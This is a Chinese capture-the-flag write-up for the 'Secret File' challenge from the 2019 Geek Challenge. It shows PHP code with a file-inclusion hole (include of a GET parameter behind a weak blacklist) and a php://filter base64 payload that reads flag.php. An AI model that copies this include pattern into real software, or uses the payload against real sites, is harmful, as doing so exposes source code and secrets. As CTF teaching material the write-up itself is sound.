极客大挑战2019 Secret File
0x00
题目类型:文件包含,php伪协议。
0x01
查看源代码,发现Archive_room.php,点进去看看。
点击SECRET按钮,发现有个页面一闪而过,而后重定向到了end.php,退回去用burp抓包。
访问secr3t.php,发现源码。
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
用file参数访问flag.php,可以看到if语句中对file函数进行了一些判断,不过没什么用,直接用php伪协议读取文件。
0x02
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
直接读出base64编码后的源码,再拿去解码一下,就拿到flag了。